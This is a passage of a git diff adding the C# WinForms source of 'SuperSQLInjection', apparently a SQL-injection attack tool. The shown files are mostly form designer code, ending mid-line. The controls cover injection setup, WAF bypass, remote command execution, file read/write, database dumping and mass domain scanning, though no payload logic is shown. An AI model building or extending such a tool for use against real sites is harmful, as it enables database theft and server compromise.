diff --git a/SuperSQLInjection.sln b/SuperSQLInjection.sln new file mode 100644 index 0000000..5278121 --- /dev/null +++ b/SuperSQLInjection.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SuperSQLInjection", "SuperSQLInjection\SuperSQLInjection.csproj", "{6C2AE3DB-3349-4A1F-9287-9278629CD0D6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6C2AE3DB-3349-4A1F-9287-9278629CD0D6}.Debug|x86.ActiveCfg = Debug|x86 + {6C2AE3DB-3349-4A1F-9287-9278629CD0D6}.Debug|x86.Build.0 = Debug|x86 + {6C2AE3DB-3349-4A1F-9287-9278629CD0D6}.Release|x86.ActiveCfg = Release|x86 + {6C2AE3DB-3349-4A1F-9287-9278629CD0D6}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/SuperSQLInjection/ADDNOD~1.RES b/SuperSQLInjection/ADDNOD~1.RES new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/SuperSQLInjection/ADDNOD~1.RES @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/About.Designer.cs b/SuperSQLInjection/About.Designer.cs new file mode 100644 index 0000000..65af73d --- /dev/null +++ b/SuperSQLInjection/About.Designer.cs @@ -0,0 +1,65 @@ +namespace SuperSQLInjection +{ + partial class About + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(About)); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(595, 304); + this.richTextBox1.TabIndex = 2; + this.richTextBox1.Text = resources.GetString("richTextBox1.Text"); + // + // About + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(595, 304); + this.Controls.Add(this.richTextBox1); + this.Name = "About"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "关 于"; + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.RichTextBox richTextBox1; + + + + + } +} \ No newline at end of file diff --git a/SuperSQLInjection/About.cs b/SuperSQLInjection/About.cs new file mode 100644 index 0000000..297427a --- /dev/null +++ b/SuperSQLInjection/About.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + public partial class About : Form + { + public About() + { + InitializeComponent(); + } + } +} diff --git a/SuperSQLInjection/AddNode.Designer.cs b/SuperSQLInjection/AddNode.Designer.cs new file mode 100644 index 0000000..73665af --- /dev/null +++ b/SuperSQLInjection/AddNode.Designer.cs @@ -0,0 +1,72 @@ +namespace SuperSQLInjection +{ + partial class AddNode + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.btn_addNode = new System.Windows.Forms.Button(); + this.txt_node_text = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // btn_addNode + // + this.btn_addNode.Location = new System.Drawing.Point(192, 21); + this.btn_addNode.Name = "btn_addNode"; + this.btn_addNode.Size = new System.Drawing.Size(56, 23); + this.btn_addNode.TabIndex = 0; + this.btn_addNode.Text = "添 加"; + this.btn_addNode.UseVisualStyleBackColor = true; + this.btn_addNode.Click += new System.EventHandler(this.btn_addNode_Click); + // + // txt_node_text + // + this.txt_node_text.Location = new System.Drawing.Point(21, 21); + this.txt_node_text.Name = "txt_node_text"; + this.txt_node_text.Size = new System.Drawing.Size(152, 21); + this.txt_node_text.TabIndex = 1; + // + // AddNode + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(266, 64); + this.Controls.Add(this.txt_node_text); + this.Controls.Add(this.btn_addNode); + this.Name = "AddNode"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "AddNode"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btn_addNode; + private System.Windows.Forms.TextBox txt_node_text; + } +} \ No newline at end of file diff --git a/SuperSQLInjection/AddNode.cs b/SuperSQLInjection/AddNode.cs new file mode 100644 index 0000000..c537476 --- /dev/null +++ b/SuperSQLInjection/AddNode.cs @@ -0,0 +1,75 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using tools; + +namespace SuperSQLInjection +{ + public partial class AddNode : Form + { + public AddNode() + { + InitializeComponent(); + } + + public TreeNode tn = null; + public TreeView tvw = null; + public int type = 0; + + private void btn_addNode_Click(object sender, EventArgs e) + { + if (this.txt_node_text.TextLength <= 0) + { + MessageBox.Show("请输入节点的值!"); + return; + } + TreeNode ctn = new TreeNode(this.txt_node_text.Text); + if (type == 1) + { + ctn.Tag = "dbs"; + + if (Tools.isExistsNode(tvw.Nodes,this.txt_node_text.Text)) + { + MessageBox.Show("已存在相同的节点!"); + } + else { + tvw.Nodes.Add(ctn); + } + } + + else { + + if (tn != null) + { + if ("dbs".Equals(tn.Tag)) + { + ctn.Tag = "table"; + } + else if ("table".Equals(tn.Tag)) + { + ctn.Tag = "column"; + } + if (Tools.isExistsNode(tn.Nodes, this.txt_node_text.Text)) + { + MessageBox.Show("已存在相同的节点!"); + } + else + { + tn.Nodes.Add(ctn); + } + + } + else + { + MessageBox.Show("请选择添加表或列对应的数据库或表!"); + } + } + + + } + } +} diff --git a/SuperSQLInjection/AddNode.resx b/SuperSQLInjection/AddNode.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/SuperSQLInjection/AddNode.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/FindString.Designer.cs b/SuperSQLInjection/FindString.Designer.cs new file mode 100644 index 0000000..2533825 --- /dev/null +++ b/SuperSQLInjection/FindString.Designer.cs @@ -0,0 +1,109 @@ +namespace SuperSQLInjection +{ + partial class FindString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.find_txt = new System.Windows.Forms.TextBox(); + this.button1 = new System.Windows.Forms.Button(); + this.label2 = new System.Windows.Forms.Label(); + this.lbl_count = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 21); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(53, 12); + this.label1.TabIndex = 0; + this.label1.Text = "关键字:"; + // + // find_txt + // + this.find_txt.Location = new System.Drawing.Point(71, 18); + this.find_txt.Name = "find_txt"; + this.find_txt.Size = new System.Drawing.Size(164, 21); + this.find_txt.TabIndex = 1; + this.find_txt.TextChanged += new System.EventHandler(this.find_txt_TextChanged); + // + // button1 + // + this.button1.Location = new System.Drawing.Point(341, 17); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 2; + this.button1.Text = "查找下一个"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(241, 22); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(53, 12); + this.label2.TabIndex = 3; + this.label2.Text = "匹配数:"; + // + // lbl_count + // + this.lbl_count.AutoSize = true; + this.lbl_count.Location = new System.Drawing.Point(300, 22); + this.lbl_count.Name = "lbl_count"; + this.lbl_count.Size = new System.Drawing.Size(11, 12); + this.lbl_count.TabIndex = 3; + this.lbl_count.Text = "0"; + // + // FindString + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(429, 57); + this.Controls.Add(this.lbl_count); + this.Controls.Add(this.label2); + this.Controls.Add(this.button1); + this.Controls.Add(this.find_txt); + this.Controls.Add(this.label1); + this.Name = "FindString"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "查找"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox find_txt; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label lbl_count; + } +} \ No newline at end of file diff --git a/SuperSQLInjection/FindString.cs b/SuperSQLInjection/FindString.cs new file mode 100644 index 0000000..e2d7ed7 --- /dev/null +++ b/SuperSQLInjection/FindString.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + public partial class FindString : Form + { + + public FindString() + { + InitializeComponent(); + } + public int searchPoint = 0; + public TextBox txtbox = null; + private void button1_Click(object sender, EventArgs e) + { + //查找下一个 + + if (txtbox.Text == "") + { + //没内容 + MessageBox.Show("查找内容为空,请输入查找内容", "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + //有查找内容时 + searchPoint = txtbox.Text.IndexOf(this.find_txt.Text, searchPoint);//用IndexOf索引 + if (searchPoint <0) + { + //没找到 + MessageBox.Show("已到文本末尾,没有找到", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information); + searchPoint = 0; + } + else + { + //找到了,选中文本 + txtbox.Select(searchPoint, this.find_txt.Text.Length); + searchPoint = searchPoint + this.find_txt.Text.Length; + txtbox.Focus(); + } + } + } + + private void find_txt_TextChanged(object sender, EventArgs e) + { + + int count = 0; //计数器 + string search = this.find_txt.Text; //要查的字符串 + if("".Equals(search)){ + return; + } + + for (int i = 0; i <= txtbox.Text.Length - search.Length; i++) + { + if (txtbox.Text.Substring(i, search.Length).ToLower() == search.ToLower()) + { + count++; + } + } + this.lbl_count.Text = count.ToString(); + } + } +} diff --git a/SuperSQLInjection/FindString.resx b/SuperSQLInjection/FindString.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/SuperSQLInjection/FindString.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/Main.Designer.cs b/SuperSQLInjection/Main.Designer.cs new file mode 100644 index 0000000..0bf1ced --- /dev/null +++ b/SuperSQLInjection/Main.Designer.cs @@ -0,0 +1,3176 @@ +namespace SuperSQLInjection +{ + partial class Main + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); + this.gb_basic = new System.Windows.Forms.GroupBox(); + this.chk_useSSL = new System.Windows.Forms.CheckBox(); + this.btn_exportConfig = new System.Windows.Forms.Button(); + this.cbox_basic_threadSize = new System.Windows.Forms.ComboBox(); + this.cbox_basic_reTryCount = new System.Windows.Forms.ComboBox(); + this.cbox_basic_encoding = new System.Windows.Forms.ComboBox(); + this.cbox_basic_timeOut = new System.Windows.Forms.ComboBox(); + this.label9 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.btn_autoInject = new System.Windows.Forms.Button(); + this.cbox_basic_dbType = new System.Windows.Forms.ComboBox(); + this.label6 = new System.Windows.Forms.Label(); + this.cbox_basic_injectType = new System.Windows.Forms.ComboBox(); + this.txt_basic_port = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txt_basic_host = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.menuStrip_main = new System.Windows.Forms.MenuStrip(); + this.tsmi_menu = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_openConfig = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_saveConfig = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_tools = new System.Windows.Forms.ToolStripMenuItem(); + this.脱裤助手ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_seting = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_help = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_readme = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_about = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_update = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_mustRead = new System.Windows.Forms.ToolStripMenuItem(); + this.版本ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_bugReport = new System.Windows.Forms.ToolStripMenuItem(); + this.gb_logo = new System.Windows.Forms.GroupBox(); + this.txt_log = new System.Windows.Forms.TextBox(); + this.tab_logCenter = new System.Windows.Forms.TabPage(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.groupBox5 = new System.Windows.Forms.GroupBox(); + this.log_lvw_httpLog = new System.Windows.Forms.ListView(); + this.log_col_index = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.log_col_payload = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_runtime = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.log_col_code = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.log_col_bodyLength = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.log_col_sleepTime = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.log_cms_dataifo = new System.Windows.Forms.ContextMenuStrip(this.components); + this.data_cms_clearLog = new System.Windows.Forms.ToolStripMenuItem(); + this.groupBox6 = new System.Windows.Forms.GroupBox(); + this.tabControl2 = new System.Windows.Forms.TabControl(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.log_txt_request = new System.Windows.Forms.TextBox(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.log_txt_response = new System.Windows.Forms.TextBox(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.webBro_log = new System.Windows.Forms.WebBrowser(); + this.tab_file = new System.Windows.Forms.TabPage(); + this.file_txt_result = new System.Windows.Forms.TextBox(); + this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.file_btn_start = new System.Windows.Forms.Button(); + this.file_cbox_readWrite = new System.Windows.Forms.ComboBox(); + this.file_txt_filePath = new System.Windows.Forms.TextBox(); + this.label14 = new System.Windows.Forms.Label(); + this.cbox_file_readFileEncoding = new System.Windows.Forms.ComboBox(); + this.label24 = new System.Windows.Forms.Label(); + this.tab_dataCenter = new System.Windows.Forms.TabPage(); + this.tabC_dataCenter = new System.Windows.Forms.TabControl(); + this.tab_vers = new System.Windows.Forms.TabPage(); + this.data_lvw_ver = new System.Windows.Forms.ListView(); + this.data_lvw_ver_verName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.data_lvw_ver_verValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.data_cms_vers = new System.Windows.Forms.ContextMenuStrip(this.components); + this.data_cms_tsmi_getVariable = new System.Windows.Forms.ToolStripMenuItem(); + this.data_cms_tsmi_stopGetVariable = new System.Windows.Forms.ToolStripMenuItem(); + this.data_cms_tsmi_copyVerValue = new System.Windows.Forms.ToolStripMenuItem(); + this.tab_dbs = new System.Windows.Forms.TabPage(); + this.spc_dbs = new System.Windows.Forms.SplitContainer(); + this.data_dbs_ts = new System.Windows.Forms.ToolStrip(); + this.data_dbs_tsl_getDBS = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_getTables = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_getColumns = new System.Windows.Forms.ToolStripButton(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.data_tvw_dbs = new System.Windows.Forms.TreeView(); + this.data_cms_dbs = new System.Windows.Forms.ContextMenuStrip(this.components); + this.data_dbs_tsmi_addDBS = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_addTableOrColumn = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_getTableNames = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_deleteNode = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_stopGetInfos = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_saveDTCStruct = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_loadDTCStruct = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_tsmi_clearDTCStruct = new System.Windows.Forms.ToolStripMenuItem(); + this.imglist_database = new System.Windows.Forms.ImageList(this.components); + this.toolStrip1 = new System.Windows.Forms.ToolStrip(); + this.toolStripLabel3 = new System.Windows.Forms.ToolStripLabel(); + this.data_dbs_txt_start = new System.Windows.Forms.ToolStripTextBox(); + this.toolStripLabel1 = new System.Windows.Forms.ToolStripLabel(); + this.data_dbs_txt_count = new System.Windows.Forms.ToolStripTextBox(); + this.data_dbs_tsl_getDatas = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_exportDatas = new System.Windows.Forms.ToolStripButton(); + this.toolStripLabel2 = new System.Windows.Forms.ToolStripLabel(); + this.data_dbs_cob_db_encoding = new System.Windows.Forms.ToolStripComboBox(); + this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.data_dbs_lvw_data = new System.Windows.Forms.ListView(); + this.cms_data_dbs_lvw_data = new System.Windows.Forms.ContextMenuStrip(this.components); + this.data_dbs_lvw_tsmi_copyLineData = new System.Windows.Forms.ToolStripMenuItem(); + this.data_dbs_lvw_tsmi_stop = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_clearColumns = new System.Windows.Forms.ToolStripMenuItem(); + this.myicon_list = new System.Windows.Forms.ImageList(this.components); + this.tab_injectCenter = new System.Windows.Forms.TabPage(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.txt_inject_request = new System.Windows.Forms.TextBox(); + this.cms_dataPacks = new System.Windows.Forms.ContextMenuStrip(this.components); + this.tsmi_createGetTemplate = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_createPOSTTemplate = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_changeRequestMethod = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_createPackByURL = new System.Windows.Forms.ToolStripMenuItem(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.groupBox16 = new System.Windows.Forms.GroupBox(); + this.label4 = new System.Windows.Forms.Label(); + this.txt_inject_showColumn = new System.Windows.Forms.TextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.txt_inject_unionColumnsCount = new System.Windows.Forms.TextBox(); + this.groupBox15 = new System.Windows.Forms.GroupBox(); + this.cbox_inject_type = new System.Windows.Forms.ComboBox(); + this.label27 = new System.Windows.Forms.Label(); + this.inject_btn_autoFindKey = new System.Windows.Forms.Button(); + this.injectConfig_btn_checkKey = new System.Windows.Forms.Button(); + this.txt_inject_key = new System.Windows.Forms.TextBox(); + this.chk_inject_reverseKey = new System.Windows.Forms.CheckBox(); + this.chk_openURLEncoding = new System.Windows.Forms.CheckBox(); + this.btn_inject_setEncodingRange = new System.Windows.Forms.Button(); + this.label13 = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.btn_inject_clearRequest = new System.Windows.Forms.Button(); + this.btn_inject_sendData = new System.Windows.Forms.Button(); + this.chk_inject_foward_302 = new System.Windows.Forms.CheckBox(); + this.btn_inject_setInject = new System.Windows.Forms.Button(); + this.mytab = new System.Windows.Forms.TabControl(); + this.tab_cmd = new System.Windows.Forms.TabPage(); + this.cmd_txt_result = new System.Windows.Forms.TextBox(); + this.groupBox8 = new System.Windows.Forms.GroupBox(); + this.cmd_chk_showCmdResult = new System.Windows.Forms.CheckBox(); + this.cmd_btn_start = new System.Windows.Forms.Button(); + this.cmd_txt_cmd = new System.Windows.Forms.TextBox(); + this.label15 = new System.Windows.Forms.Label(); + this.tab_bypass = new System.Windows.Forms.TabPage(); + this.groupBox9 = new System.Windows.Forms.GroupBox(); + this.cbox_base64Count = new System.Windows.Forms.ComboBox(); + this.bypass_btn_saveTemplate = new System.Windows.Forms.Button(); + this.bypass_cbox_loadTemplate = new System.Windows.Forms.ComboBox(); + this.label28 = new System.Windows.Forms.Label(); + this.chk_reaplaceBeforURLEncode = new System.Windows.Forms.CheckBox(); + this.cob_keyRepalce = new System.Windows.Forms.ComboBox(); + this.label10 = new System.Windows.Forms.Label(); + this.bypass_chk_base64 = new System.Windows.Forms.CheckBox(); + this.bypass_cbox_randIPToHeader = new System.Windows.Forms.ComboBox(); + this.label18 = new System.Windows.Forms.Label(); + this.label17 = new System.Windows.Forms.Label(); + this.bypass_cbox_sendHTTPSleepTime = new System.Windows.Forms.ComboBox(); + this.bypass_chk_inculdeStr = new System.Windows.Forms.CheckBox(); + this.label16 = new System.Windows.Forms.Label(); + this.bypass_txt_replaceTo = new System.Windows.Forms.TextBox(); + this.bypass_txt_replace = new System.Windows.Forms.TextBox(); + this.bypass_lvw_replaceString = new System.Windows.Forms.ListView(); + this.col_replace = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_replaceTo = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.bypass_lvw_replaceString_cms = new System.Windows.Forms.ContextMenuStrip(this.components); + this.bypass_delselect = new System.Windows.Forms.ToolStripMenuItem(); + this.bypass_btn_addReplaceStr = new System.Windows.Forms.Button(); + this.label19 = new System.Windows.Forms.Label(); + this.tab_encoding = new System.Windows.Forms.TabPage(); + this.groupBox13 = new System.Windows.Forms.GroupBox(); + this.label21 = new System.Windows.Forms.Label(); + this.label23 = new System.Windows.Forms.Label(); + this.encode_cbox_encode = new System.Windows.Forms.ComboBox(); + this.encode_cbox_decode = new System.Windows.Forms.ComboBox(); + this.groupBox11 = new System.Windows.Forms.GroupBox(); + this.encode_txt_result = new System.Windows.Forms.TextBox(); + this.groupBox10 = new System.Windows.Forms.GroupBox(); + this.encode_txt_input = new System.Windows.Forms.TextBox(); + this.tab_scanInjection = new System.Windows.Forms.TabPage(); + this.groupBox14 = new System.Windows.Forms.GroupBox(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.scanInject_lsb_links = new System.Windows.Forms.ListBox(); + this.scanInjectionURL_cms = new System.Windows.Forms.ContextMenuStrip(this.components); + this.tsmi_exportScanInjectionURL = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_clearScanInjectionURL = new System.Windows.Forms.ToolStripMenuItem(); + this.scanInjection_lvw_result = new System.Windows.Forms.ListView(); + this.col_index = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_url = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_testURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_param = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_injectionType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_injectionDB = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.col_mark = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.scanInjection_cms = new System.Windows.Forms.ContextMenuStrip(this.components); + this.scanInjection_cms_exportResult = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_tsmi_exortTestURL = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_tsmi_exortOldURL = new System.Windows.Forms.ToolStripMenuItem(); + this.scanInjection_cms_copyURL = new System.Windows.Forms.ToolStripMenuItem(); + this.scanInjection_cms_clearResult = new System.Windows.Forms.ToolStripMenuItem(); + this.scanInjection_cms_delThisLine = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_openURL = new System.Windows.Forms.ToolStripMenuItem(); + this.tsmi_tsmi_opentestURL = new System.Windows.Forms.ToolStripMenuItem(); + this.groupBox12 = new System.Windows.Forms.GroupBox(); + this.scanInect_chk_isSpider = new System.Windows.Forms.CheckBox(); + this.scanInect_chk_scanError = new System.Windows.Forms.CheckBox(); + this.scanInjection_btn_spider = new System.Windows.Forms.Button(); + this.scanInjection_btn_scan = new System.Windows.Forms.Button(); + this.scanInjection_importDomains = new System.Windows.Forms.Button(); + this.scanInjection_scanedURLSCount = new System.Windows.Forms.Label(); + this.scanInjection_txt_domainsPath = new System.Windows.Forms.TextBox(); + this.scanInjection_findURLSCount = new System.Windows.Forms.Label(); + this.label20 = new System.Windows.Forms.Label(); + this.label30 = new System.Windows.Forms.Label(); + this.label22 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.scanInjection_domainsCount = new System.Windows.Forms.Label(); + this.scanInjection_scanedDomainCount = new System.Windows.Forms.Label(); + this.label25 = new System.Windows.Forms.Label(); + this.statusStrip1 = new System.Windows.Forms.StatusStrip(); + this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_time = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_threadStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel4 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_dbsCount = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel5 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_tableCount = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel6 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_dataCount = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel7 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_runStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel8 = new System.Windows.Forms.ToolStripStatusLabel(); + this.status_lbl_all_status = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel11 = new 